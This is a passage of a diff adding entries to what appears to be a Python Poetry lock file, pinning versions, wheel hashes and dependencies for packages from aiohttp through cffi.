+ {file = "aiohttp-3.8.4-cp37-cp37m-musllinux_1_1_ppc64le.whl", hash = "sha256:40653609b3bf50611356e6b6554e3a331f6879fa7116f3959b20e3528783e699"},
+ {file = "aiohttp-3.8.4-cp37-cp37m-musllinux_1_1_s390x.whl", hash = "sha256:dbf3a08a06b3f433013c143ebd72c15cac33d2914b8ea4bea7ac2c23578815d6"},
+ {file = "aiohttp-3.8.4-cp37-cp37m-musllinux_1_1_x86_64.whl", hash = "sha256:854f422ac44af92bfe172d8e73229c270dc09b96535e8a548f99c84f82dde241"},
+ {file = "aiohttp-3.8.4-cp37-cp37m-win32.whl", hash = "sha256:aeb29c84bb53a84b1a81c6c09d24cf33bb8432cc5c39979021cc0f98c1292a1a"},
+ {file = "aiohttp-3.8.4-cp37-cp37m-win_amd64.whl", hash = "sha256:db3fc6120bce9f446d13b1b834ea5b15341ca9ff3f335e4a951a6ead31105480"},
+ {file = "aiohttp-3.8.4-cp38-cp38-macosx_10_9_universal2.whl", hash = "sha256:fabb87dd8850ef0f7fe2b366d44b77d7e6fa2ea87861ab3844da99291e81e60f"},
+ {file = "aiohttp-3.8.4-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:91f6d540163f90bbaef9387e65f18f73ffd7c79f5225ac3d3f61df7b0d01ad15"},
+ {file = "aiohttp-3.8.4-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:d265f09a75a79a788237d7f9054f929ced2e69eb0bb79de3798c468d8a90f945"},
+ {file = "aiohttp-3.8.4-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:3d89efa095ca7d442a6d0cbc755f9e08190ba40069b235c9886a8763b03785da"},
+ {file = "aiohttp-3.8.4-cp38-cp38-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:4dac314662f4e2aa5009977b652d9b8db7121b46c38f2073bfeed9f4049732cd"},
+ {file = "aiohttp-3.8.4-cp38-cp38-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:fe11310ae1e4cd560035598c3f29d86cef39a83d244c7466f95c27ae04850f10"},
+ {file = "aiohttp-3.8.4-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:6ddb2a2026c3f6a68c3998a6c47ab6795e4127315d2e35a09997da21865757f8"},
+ {file = "aiohttp-3.8.4-cp38-cp38-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:e75b89ac3bd27d2d043b234aa7b734c38ba1b0e43f07787130a0ecac1e12228a"},
+ {file = "aiohttp-3.8.4-cp38-cp38-musllinux_1_1_aarch64.whl", hash = "sha256:6e601588f2b502c93c30cd5a45bfc665faaf37bbe835b7cfd461753068232074"},
+ {file = "aiohttp-3.8.4-cp38-cp38-musllinux_1_1_i686.whl", hash = "sha256:a5d794d1ae64e7753e405ba58e08fcfa73e3fad93ef9b7e31112ef3c9a0efb52"},
+ {file = "aiohttp-3.8.4-cp38-cp38-musllinux_1_1_ppc64le.whl", hash = "sha256:a1f4689c9a1462f3df0a1f7e797791cd6b124ddbee2b570d34e7f38ade0e2c71"},
+ {file = "aiohttp-3.8.4-cp38-cp38-musllinux_1_1_s390x.whl", hash = "sha256:3032dcb1c35bc330134a5b8a5d4f68c1a87252dfc6e1262c65a7e30e62298275"},
+ {file = "aiohttp-3.8.4-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:8189c56eb0ddbb95bfadb8f60ea1b22fcfa659396ea36f6adcc521213cd7b44d"},
+ {file = "aiohttp-3.8.4-cp38-cp38-win32.whl", hash = "sha256:33587f26dcee66efb2fff3c177547bd0449ab7edf1b73a7f5dea1e38609a0c54"},
+ {file = "aiohttp-3.8.4-cp38-cp38-win_amd64.whl", hash = "sha256:e595432ac259af2d4630008bf638873d69346372d38255774c0e286951e8b79f"},
+ {file = "aiohttp-3.8.4-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:5a7bdf9e57126dc345b683c3632e8ba317c31d2a41acd5800c10640387d193ed"},
+ {file = "aiohttp-3.8.4-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:22f6eab15b6db242499a16de87939a342f5a950ad0abaf1532038e2ce7d31567"},
+ {file = "aiohttp-3.8.4-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:7235604476a76ef249bd64cb8274ed24ccf6995c4a8b51a237005ee7a57e8643"},
+ {file = "aiohttp-3.8.4-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:ea9eb976ffdd79d0e893869cfe179a8f60f152d42cb64622fca418cd9b18dc2a"},
+ {file = "aiohttp-3.8.4-cp39-cp39-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:92c0cea74a2a81c4c76b62ea1cac163ecb20fb3ba3a75c909b9fa71b4ad493cf"},
+ {file = "aiohttp-3.8.4-cp39-cp39-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:493f5bc2f8307286b7799c6d899d388bbaa7dfa6c4caf4f97ef7521b9cb13719"},
+ {file = "aiohttp-3.8.4-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:0a63f03189a6fa7c900226e3ef5ba4d3bd047e18f445e69adbd65af433add5a2"},
+ {file = "aiohttp-3.8.4-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:10c8cefcff98fd9168cdd86c4da8b84baaa90bf2da2269c6161984e6737bf23e"},
+ {file = "aiohttp-3.8.4-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:bca5f24726e2919de94f047739d0a4fc01372801a3672708260546aa2601bf57"},
+ {file = "aiohttp-3.8.4-cp39-cp39-musllinux_1_1_i686.whl", hash = "sha256:03baa76b730e4e15a45f81dfe29a8d910314143414e528737f8589ec60cf7391"},
+ {file = "aiohttp-3.8.4-cp39-cp39-musllinux_1_1_ppc64le.whl", hash = "sha256:8c29c77cc57e40f84acef9bfb904373a4e89a4e8b74e71aa8075c021ec9078c2"},
+ {file = "aiohttp-3.8.4-cp39-cp39-musllinux_1_1_s390x.whl", hash = "sha256:03543dcf98a6619254b409be2d22b51f21ec66272be4ebda7b04e6412e4b2e14"},
+ {file = "aiohttp-3.8.4-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:17b79c2963db82086229012cff93ea55196ed31f6493bb1ccd2c62f1724324e4"},
+ {file = "aiohttp-3.8.4-cp39-cp39-win32.whl", hash = "sha256:34ce9f93a4a68d1272d26030655dd1b58ff727b3ed2a33d80ec433561b03d67a"},
+ {file = "aiohttp-3.8.4-cp39-cp39-win_amd64.whl", hash = "sha256:41a86a69bb63bb2fc3dc9ad5ea9f10f1c9c8e282b471931be0268ddd09430b04"},
+ {file = "aiohttp-3.8.4.tar.gz", hash = "sha256:bf2e1a9162c1e441bf805a1fd166e249d574ca04e03b34f97e2928769e91ab5c"},
+]
+
+[package.dependencies]
+aiosignal = ">=1.1.2"
+async-timeout = ">=4.0.0a3,<5.0"
+attrs = ">=17.3.0"
+charset-normalizer = ">=2.0,<4.0"
+frozenlist = ">=1.1.1"
+multidict = ">=4.5,<7.0"
+yarl = ">=1.0,<2.0"
+
+[package.extras]
+speedups = ["Brotli", "aiodns", "cchardet"]
+
+[[package]]
+name = "aioitertools"
+version = "0.11.0"
+description = "itertools and builtins for AsyncIO and mixed iterables"
+optional = false
+python-versions = ">=3.6"
+files = [
+ {file = "aioitertools-0.11.0-py3-none-any.whl", hash = "sha256:04b95e3dab25b449def24d7df809411c10e62aab0cbe31a50ca4e68748c43394"},
+ {file = "aioitertools-0.11.0.tar.gz", hash = "sha256:42c68b8dd3a69c2bf7f2233bf7df4bb58b557bca5252ac02ed5187bbc67d6831"},
+]
+
+[package.dependencies]
+typing_extensions = {version = ">=4.0", markers = "python_version < \"3.10\""}
+
+[[package]]
+name = "aiormq"
+version = "6.6.4"
+description = "Pure python AMQP asynchronous client library"
+optional = false
+python-versions = ">=3.7,<4.0"
+files = [
+ {file = "aiormq-6.6.4-py3-none-any.whl", hash = "sha256:9fb93dc871eb9c45a410e29669624790c01b70d27f20d512a22b146c411440ea"},
+ {file = "aiormq-6.6.4.tar.gz", hash = "sha256:95835a4db6117263305d450f838ccdc3eabd427c0deb32fd617769ad4c989e98"},
+]
+
+[package.dependencies]
+pamqp = "3.2.1"
+yarl = "*"
+
+[[package]]
+name = "aiosignal"
+version = "1.3.1"
+description = "aiosignal: a list of registered asynchronous callbacks"
+optional = false
+python-versions = ">=3.7"
+files = [
+ {file = "aiosignal-1.3.1-py3-none-any.whl", hash = "sha256:f8376fb07dd1e86a584e4fcdec80b36b7f81aac666ebc724e2c090300dd83b17"},
+ {file = "aiosignal-1.3.1.tar.gz", hash = "sha256:54cd96e15e1649b75d6c87526a6ff0b6c1b0dd3459f43d9ca11d48c339b68cfc"},
+]
+
+[package.dependencies]
+frozenlist = ">=1.1.0"
+
+[[package]]
+name = "anyio"
+version = "3.7.1"
+description = "High level compatibility layer for multiple asynchronous event loop implementations"
+optional = false
+python-versions = ">=3.7"
+files = [
+ {file = "anyio-3.7.1-py3-none-any.whl", hash = "sha256:91dee416e570e92c64041bd18b900d1d6fa78dff7048769ce5ac5ddad004fbb5"},
+ {file = "anyio-3.7.1.tar.gz", hash = "sha256:44a3c9aba0f5defa43261a8b3efb97891f2bd7d804e0e1f56419befa1adfc780"},
+]
+
+[package.dependencies]
+exceptiongroup = {version = "*", markers = "python_version < \"3.11\""}
+idna = ">=2.8"
+sniffio = ">=1.1"
+
+[package.extras]
+doc = ["Sphinx", "packaging", "sphinx-autodoc-typehints (>=1.2.0)", "sphinx-rtd-theme (>=1.2.2)", "sphinxcontrib-jquery"]
+test = ["anyio[trio]", "coverage[toml] (>=4.5)", "hypothesis (>=4.0)", "mock (>=4)", "psutil (>=5.9)", "pytest (>=7.0)", "pytest-mock (>=3.6.1)", "trustme", "uvloop (>=0.17)"]
+trio = ["trio (<0.22)"]
+
+[[package]]
+name = "async-timeout"
+version = "4.0.2"
+description = "Timeout context manager for asyncio programs"
+optional = false
+python-versions = ">=3.6"
+files = [
+ {file = "async-timeout-4.0.2.tar.gz", hash = "sha256:2163e1640ddb52b7a8c80d0a67a08587e5d245cc9c553a74a847056bc2976b15"},
+ {file = "async_timeout-4.0.2-py3-none-any.whl", hash = "sha256:8ca1e4fcf50d07413d66d1a5e416e42cfdf5851c981d679a09851a6853383b3c"},
+]
+
+[[package]]
+name = "atomicwrites"
+version = "1.4.1"
+description = "Atomic file writes."
+optional = false
+python-versions = ">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*"
+files = [
+ {file = "atomicwrites-1.4.1.tar.gz", hash = "sha256:81b2c9071a49367a7f770170e5eec8cb66567cfbbc8c73d20ce5ca4a8d71cf11"},
+]
+
+[[package]]
+name = "attrs"
+version = "23.1.0"
+description = "Classes Without Boilerplate"
+optional = false
+python-versions = ">=3.7"
+files = [
+ {file = "attrs-23.1.0-py3-none-any.whl", hash = "sha256:1f28b4522cdc2fb4256ac1a020c78acf9cba2c6b461ccd2c126f3aa8e8335d04"},
+ {file = "attrs-23.1.0.tar.gz", hash = "sha256:6279836d581513a26f1bf235f9acd333bc9115683f14f7e8fae46c98fc50e015"},
+]
+
+[package.extras]
+cov = ["attrs[tests]", "coverage[toml] (>=5.3)"]
+dev = ["attrs[docs,tests]", "pre-commit"]
+docs = ["furo", "myst-parser", "sphinx", "sphinx-notfound-page", "sphinxcontrib-towncrier", "towncrier", "zope-interface"]
+tests = ["attrs[tests-no-zope]", "zope-interface"]
+tests-no-zope = ["cloudpickle", "hypothesis", "mypy (>=1.1.1)", "pympler", "pytest (>=4.3.0)", "pytest-mypy-plugins", "pytest-xdist[psutil]"]
+
+[[package]]
+name = "boto3"
+version = "1.24.59"
+description = "The AWS SDK for Python"
+optional = false
+python-versions = ">= 3.7"
+files = [
+ {file = "boto3-1.24.59-py3-none-any.whl", hash = "sha256:34ab44146a2c4e7f4e72737f4b27e6eb5e0a7855c2f4599e3d9199b6a0a2d575"},
+ {file = "boto3-1.24.59.tar.gz", hash = "sha256:a50b4323f9579cfe22fcf5531fbd40b567d4d74c1adce06aeb5c95fce2a6fb40"},
+]
+
+[package.dependencies]
+botocore = ">=1.27.59,<1.28.0"
+jmespath = ">=0.7.1,<2.0.0"
+s3transfer = ">=0.6.0,<0.7.0"
+
+[package.extras]
+crt = ["botocore[crt] (>=1.21.0,<2.0a0)"]
+
+[[package]]
+name = "botocore"
+version = "1.27.59"
+description = "Low-level, data-driven core of boto 3."
+optional = false
+python-versions = ">= 3.7"
+files = [
+ {file = "botocore-1.27.59-py3-none-any.whl", hash = "sha256:69d756791fc024bda54f6c53f71ae34e695ee41bbbc1743d9179c4837a4929da"},
+ {file = "botocore-1.27.59.tar.gz", hash = "sha256:eda4aed6ee719a745d1288eaf1beb12f6f6448ad1fa12f159405db14ba9c92cf"},
+]
+
+[package.dependencies]
+jmespath = ">=0.7.1,<2.0.0"
+python-dateutil = ">=2.1,<3.0.0"
+urllib3 = ">=1.25.4,<1.27"
+
+[package.extras]
+crt = ["awscrt (==0.14.0)"]
+
+[[package]]
+name = "caio"
+version = "0.9.12"
+description = "Asynchronous file IO for Linux MacOS or Windows."
+optional = false
+python-versions = ">=3.7, <4"
+files = [
+ {file = "caio-0.9.12-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:df395e7e1c2025b3f32dbeff20a8b6491959fac8fbd5a9c2d452bf1f5c0ca2bf"},
+ {file = "caio-0.9.12-cp310-cp310-macosx_11_0_x86_64.whl", hash = "sha256:acd31b7828c6683bc46e467a32359f08c686d4c25a7e645c029a07c36685fea7"},
+ {file = "caio-0.9.12-cp310-cp310-manylinux_2_12_x86_64.manylinux2010_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:c0b7ffb561ca5c24e7f080aaa73ebb143ae659bd69645a748b332762c389349f"},
+ {file = "caio-0.9.12-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:6285d772ae3a55e758b1bd3bc34f095757e4af45dcc30a183becf9bbdead8ced"},
+ {file = "caio-0.9.12-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:18df0caecfaa90ab9ac84ff71975fcf2342554b6f65ef69049337204b8b5af42"},
+ {file = "caio-0.9.12-cp311-cp311-manylinux_2_12_x86_64.manylinux2010_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:7e569b83e9b41d12e094190d0e1a546610829a65609f429a1845e3250d4c5804"},
+ {file = "caio-0.9.12-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:7833f81f58e76a3585ff59813e63fa278731c8d26fefe52ae12e783d38c8faea"},
+ {file = "caio-0.9.12-cp37-cp37m-macosx_10_15_x86_64.whl", hash = "sha256:aa1dab77aca0b2672b9a364f14a03e764c5d811c0ae1395f661a2b8f6723f958"},
+ {file = "caio-0.9.12-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:f366c595eda130a184f372d458d647b0ac879a46e872757648d4e29b6cea12ad"},
+ {file = "caio-0.9.12-cp37-cp37m-manylinux_2_12_x86_64.manylinux2010_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:2759fe1957d0effb3bc38b3508b20fa37610bff9005f3926f570e6c06e901567"},
+ {file = "caio-0.9.12-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:9e65060717e27c702cd76a90be33250cae46be32a3009781ce382c8675fa7551"},
+ {file = "caio-0.9.12-cp38-cp38-macosx_10_15_x86_64.whl", hash = "sha256:a8204c6a7ea3c96057abba3da1690190b3cae0c3f03d81e9b5e3c99978b5bb6e"},
+ {file = "caio-0.9.12-cp38-cp38-macosx_11_0_universal2.whl", hash = "sha256:820bb3ef23ce0d4096f822a8fea97ff2c239dd0351fa588801d2de627df9ab98"},
+ {file = "caio-0.9.12-cp38-cp38-manylinux_2_12_x86_64.manylinux2010_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:aa9a27973a03c777934decd577be577a61a188bee72272b3dc37a7cbc5eedf91"},
+ {file = "caio-0.9.12-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:3d6b424644ac37ce84f9dd99757d29e7cff01018d3b31f8ec0a38f2d5216165c"},
+ {file = "caio-0.9.12-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:15192a28e054cd591489af82f4b1093f15338eb201a2399a337461ff0bbd9fc9"},
+ {file = "caio-0.9.12-cp39-cp39-macosx_11_0_x86_64.whl", hash = "sha256:55317d2c90479a58108cfbd6816b85e584e61c48b42269c55f69cf4443857068"},
+ {file = "caio-0.9.12-cp39-cp39-manylinux_2_12_x86_64.manylinux2010_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:b18318d04cad7ef985fc2fb86d43f866ba34c1ee3445385f2370d6f843c05c69"},
+ {file = "caio-0.9.12-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:73c20d8fc7dfb140b7d57e69e6f17e1637d2ac4a9ebe0f5f8c94b56f87c5c087"},
+ {file = "caio-0.9.12-py3-none-any.whl", hash = "sha256:b81b3271478e91f18e7ac1f3e4f914ba0924364857ba8e27f03b9d0aea915ca8"},
+ {file = "caio-0.9.12.tar.gz", hash = "sha256:d2be553738dd793f8a01a60316f2c5284fbf152219241c0c67ca05f650a37a37"},
+]
+
+[package.extras]
+develop = ["aiomisc-pytest", "pytest", "pytest-cov"]
+
+[[package]]
+name = "certifi"
+version = "2023.5.7"
+description = "Python package for providing Mozilla's CA Bundle."
+optional = false
+python-versions = ">=3.6"
+files = [
+ {file = "certifi-2023.5.7-py3-none-any.whl", hash = "sha256:c6c2e98f5c7869efca1f8916fed228dd91539f9f1b444c314c06eef02980c716"},
+ {file = "certifi-2023.5.7.tar.gz", hash = "sha256:0f0d56dc5a6ad56fd4ba36484d6cc34451e1c6548c61daad8c320169f91eddc7"},
+]
+
+[[package]]
+name = "cffi"
+version = "1.15.1"
+description = "Foreign Function Interface for Python calling C code."
+optional = false
+python-versions = "*"
+files = [
+ {file = "cffi-1.15.1-cp27-cp27m-macosx_10_9_x86_64.whl", hash = "sha256:a66d3508133af6e8548451b25058d5812812ec3798c886bf38ed24a98216fab2"},
+ {file = "cffi-1.15.1-cp27-cp27m-manylinux1_i686.whl", hash = "sha256:470c103ae716238bbe698d67ad020e1db9d9dba34fa5a899b5e21577e6d52ed2"},
+ {file = "cffi-1.15.1-cp27-cp27m-manylinux1_x86_64.whl", hash = "sha256:9ad5db27f9cabae298d151c85cf2bad1d359a1b9c686a275df03385758e2f914"},
+ {file = "cffi-1.15.1-cp27-cp27m-win32.whl", hash = "sha256:b3bbeb01c2b273cca1e1e0c5df57f12dce9a4dd331b4fa1635b8bec26350bde3"},
+ {file = "cffi-1.15.1-cp27-cp27m-win_amd64.whl", hash = "sha256:e00b098126fd45523dd056d2efba6c5a63b71ffe9f2bbe1a4fe1716e1d0c331e"},
+ {file = "cffi-1.15.1-cp27-cp27mu-manylinux1_i686.whl", hash = "sha256:d61f4695e6c866a23a21acab0509af1cdfd2c013cf256bbf5b6b5e2695827162"},
+ {file = "cffi-1.15.1-cp27-cp27mu-manylinux1_x86_64.whl", hash = "sha256:ed9cb427ba5504c1dc15ede7d516b84757c3e3d7868ccc85121d9310d27eed0b"},
+ {file = "cffi-1.15.1-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:39d39875251ca8f612b6f33e6b1195af86d1b3e60086068be9cc053aa4376e21"},
+ {file = "cffi-1.15.1-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:285d29981935eb726a4399badae8f0ffdff4f5050eaa6d0cfc3f64b857b77185"},
+ {file = "cffi-1.15.1-cp310-cp310-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:3eb6971dcff08619f8d91607cfc726518b6fa2a9eba42856be181c6d0d9515fd"},
+ {file = "cffi-1.15.1-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:21157295583fe8943475029ed5abdcf71eb3911894724e360acff1d61c1d54bc"},
+ {file = "cffi-1.15.1-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:5635bd9cb9731e6d4a1132a498dd34f764034a8ce60cef4f5319c0541159392f"},
+ {file = "cffi-1.15.1-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:2012c72d854c2d03e45d06ae57f40d78e5770d252f195b93f581acf3ba44496e"},
+ {file = "cffi-1.15.1-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:dd86c085fae2efd48ac91dd7ccffcfc0571387fe1193d33b6394db7ef31fe2a4"},
+ {file = "cffi-1.15.1-cp310-cp310-musllinux_1_1_i686.whl", hash = "sha256:fa6693661a4c91757f4412306191b6dc88c1703f780c8234035eac011922bc01"},
+ {file = "cffi-1.15.1-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:59c0b02d0a6c384d453fece7566d1c7e6b7bae4fc5874ef2ef46d56776d61c9e"},
+ {file = "cffi-1.15.1-cp310-cp310-win32.whl", hash = "sha256:cba9d6b9a7d64d4bd46167096fc9d2f835e25d7e4c121fb2ddfc6528fb0413b2"},
+ {file = "cffi-1.15.1-cp310-cp310-win_amd64.whl", hash = "sha256:ce4bcc037df4fc5e3d184794f27bdaab018943698f4ca31630bc7f84a7b69c6d"},
+ {file = "cffi-1.15.1-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:3d08afd128ddaa624a48cf2b859afef385b720bb4b43df214f85616922e6a5ac"},
+ {file = "cffi-1.15.1-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:3799aecf2e17cf585d977b780ce79ff0dc9b78d799fc694221ce814c2c19db83"},
+ {file = "cffi-1.15.1-cp311-cp311-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:a591fe9e525846e4d154205572a029f653ada1a78b93697f3b5a8f1f2bc055b9"},
+ {file = "cffi-1.15.1-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:3548db281cd7d2561c9ad9984681c95f7b0e38881201e157833a2342c30d5e8c"},
+ {file = "cffi-1.15.1-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:91fc98adde3d7881af9b59ed0294046f3806221863722ba7d8d120c575314325"},
+ {file = "cffi-1.15.1-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:94411f22c3985acaec6f83c6df553f2dbe17b698cc7f8ae751ff2237d96b9e3c"},
+ {file = "cffi-1.15.1-cp311-cp311-musllinux_1_1_i686.whl", hash = "sha256:03425bdae262c76aad70202debd780501fabeaca237cdfddc008987c0e0f59ef"},
+ {file = "cffi-1.15.1-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:cc4d65aeeaa04136a12677d3dd0b1c0c94dc43abac5860ab33cceb42b801c1e8"},
+ {file = "cffi-1.15.1-cp311-cp311-win32.whl", hash = "sha256:a0f100c8912c114ff53e1202d0078b425bee3649ae34d7b070e9697f93c5d52d"},
+ {file = "cffi-1.15.1-cp311-cp311-win_amd64.whl", hash = "sha256:04ed324bda3cda42b9b695d51bb7d54b680b9719cfab04227cdd1e04e5de3104"},
+ {file = "cffi-1.15.1-cp36-cp36m-macosx_10_9_x86_64.whl", hash = "sha256:50a74364d85fd319352182ef59c5c790484a336f6db772c1a9231f1c3ed0cbd7"},
+ {file = "cffi-1.15.1-cp36-cp36m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:e263d77ee3dd201c3a142934a086a4450861778baaeeb45db4591ef65550b0a6"},
+ {file = "cffi-1.15.1-cp36-cp36m-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:cec7d9412a9102bdc577382c3929b337320c4c4c4849f2c5cdd14d7368c5562d"},
+ {file = "cffi-1.15.1-cp36-cp36m-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:4289fc34b2f5316fbb762d75362931e351941fa95fa18789191b33fc4cf9504a"},
+ {file = "cffi-1.15.1-cp36-cp36m-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:173379135477dc8cac4bc58f45db08ab45d228b3363adb7af79436135d028405"},
+ {file = "cffi-1.15.1-cp36-cp36m-manylinux_2_5_x86_64.manylinux1_x86_64.whl", hash = "sha256:6975a3fac6bc83c4a65c9f9fcab9e47019a11d3d2cf7f3c0d03431bf145a941e"},
+ {file = "cffi-1.15.1-cp36-cp36m-win32.whl", hash = "sha256:2470043b93ff09bf8fb1d46d1cb756ce6132c54826661a32d4e4d132e1977adf"},
+ {file = "cffi-1.15.1-cp36-cp36m-win_amd64.whl", hash = "sha256:30d78fbc8ebf9c92c9b7823ee18eb92f2e6ef79b45ac84db507f52fbe3ec4497"},
+ {file = "cffi-1.15.1-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:198caafb44239b60e252492445da556afafc7d1e3ab7a1fb3f0584ef6d742375"},
+ {file = "cffi-1.15.1-cp37-cp37m-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:5ef34d190326c3b1f822a5b7a45f6c4535e2f47ed06fec77d3d799c450b2651e"},
+ {file = "cffi-1.15.1-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:8102eaf27e1e448db915d08afa8b41d6c7ca7a04b7d73af6514df10a3e74bd82"},
+ {file = "cffi-1.15.1-cp37-cp37m-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:5df2768244d19ab7f60546d0c7c63ce1581f7af8b5de3eb3004b9b6fc8a9f84b"},
+ {file = "cffi-1.15.1-cp37-cp37m-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:a8c4917bd7ad33e8eb21e9a5bbba979b49d9a97acb3a803092cbc1133e20343c"},
+ {file = "cffi-1.15.1-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:0e2642fe3142e4cc4af0799748233ad6da94c62a8bec3a6648bf8ee68b1c7426"},
+ {file = "cffi-1.15.1-cp37-cp37m-win32.whl", hash = "sha256:e229a521186c75c8ad9490854fd8bbdd9a0c9aa3a524326b55be83b54d4e0ad9"},
+ {file = "cffi-1.15.1-cp37-cp37m-win_amd64.whl", hash = "sha256:a0b71b1b8fbf2b96e41c4d990244165e2c9be83d54962a9a1d118fd8657d2045"},
+ {file = "cffi-1.15.1-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:320dab6e7cb2eacdf0e658569d2575c4dad258c0fcc794f46215e1e39f90f2c3"},
+ {file = "cffi-1.15.1-cp38-cp38-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:1e74c6b51a9ed6589199c787bf5f9875612ca4a8a0785fb2d4a84429badaf22a"},
+ {file = "cffi-1.15.1-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:a5c84c68147988265e60416b57fc83425a78058853509c1b0629c180094904a5"},
+ {file = "cffi-1.15.1-cp38-cp38-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:3b926aa83d1edb5aa5b427b4053dc420ec295a08e40911296b9eb1b6170f6cca"},
+ {file = "cffi-1.15.1-cp38-cp38-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:87c450779d0914f2861b8526e035c5e6da0a3199d8f1add1a665e1cbc6fc6d02"},
+ {file = "cffi-1.15.1-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:4f2c9f67e9821cad2e5f480bc8d83b8742896f1242dba247911072d4fa94c192"},
+ {file = "cffi-1.15.1-cp38-cp38-win32.whl", hash = "sha256:8b7ee99e510d7b66cdb6c593f21c043c248537a32e0bedf02e01e9553a172314"},
+ {file = "cffi-1.15.1-cp38-cp38-win_amd64.whl", hash = "sha256:00a9ed42e88df81ffae7a8ab6d9356b371399b91dbdf0c3cb1e84c03a13aceb5"},
+ {file = "cffi-1.15.1-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:54a2db7b78338edd780e7ef7f9f6c442500fb0d41a5a4ea24fff1c929d5af585"},
+ {file = "cffi-1.15.1-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:fcd131dd944808b5bdb38e6f5b53013c5aa4f334c5cad0c72742f6eba4b73db0"},
+ {file = "cffi-1.15.1-cp39-cp39-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:7473e861101c9e72452f9bf8acb984947aa1661a7704553a9f6e4baa5ba64415"},
+ {file = "cffi-1.15.1-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:6c9a799e985904922a4d207a94eae35c78ebae90e128f0c4e521ce339396be9d"},
+ {file = "cffi-1.15.1-cp39-cp39-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:3bcde07039e586f91b45c88f8583ea7cf7a0770df3a1649627bf598332cb6984"},
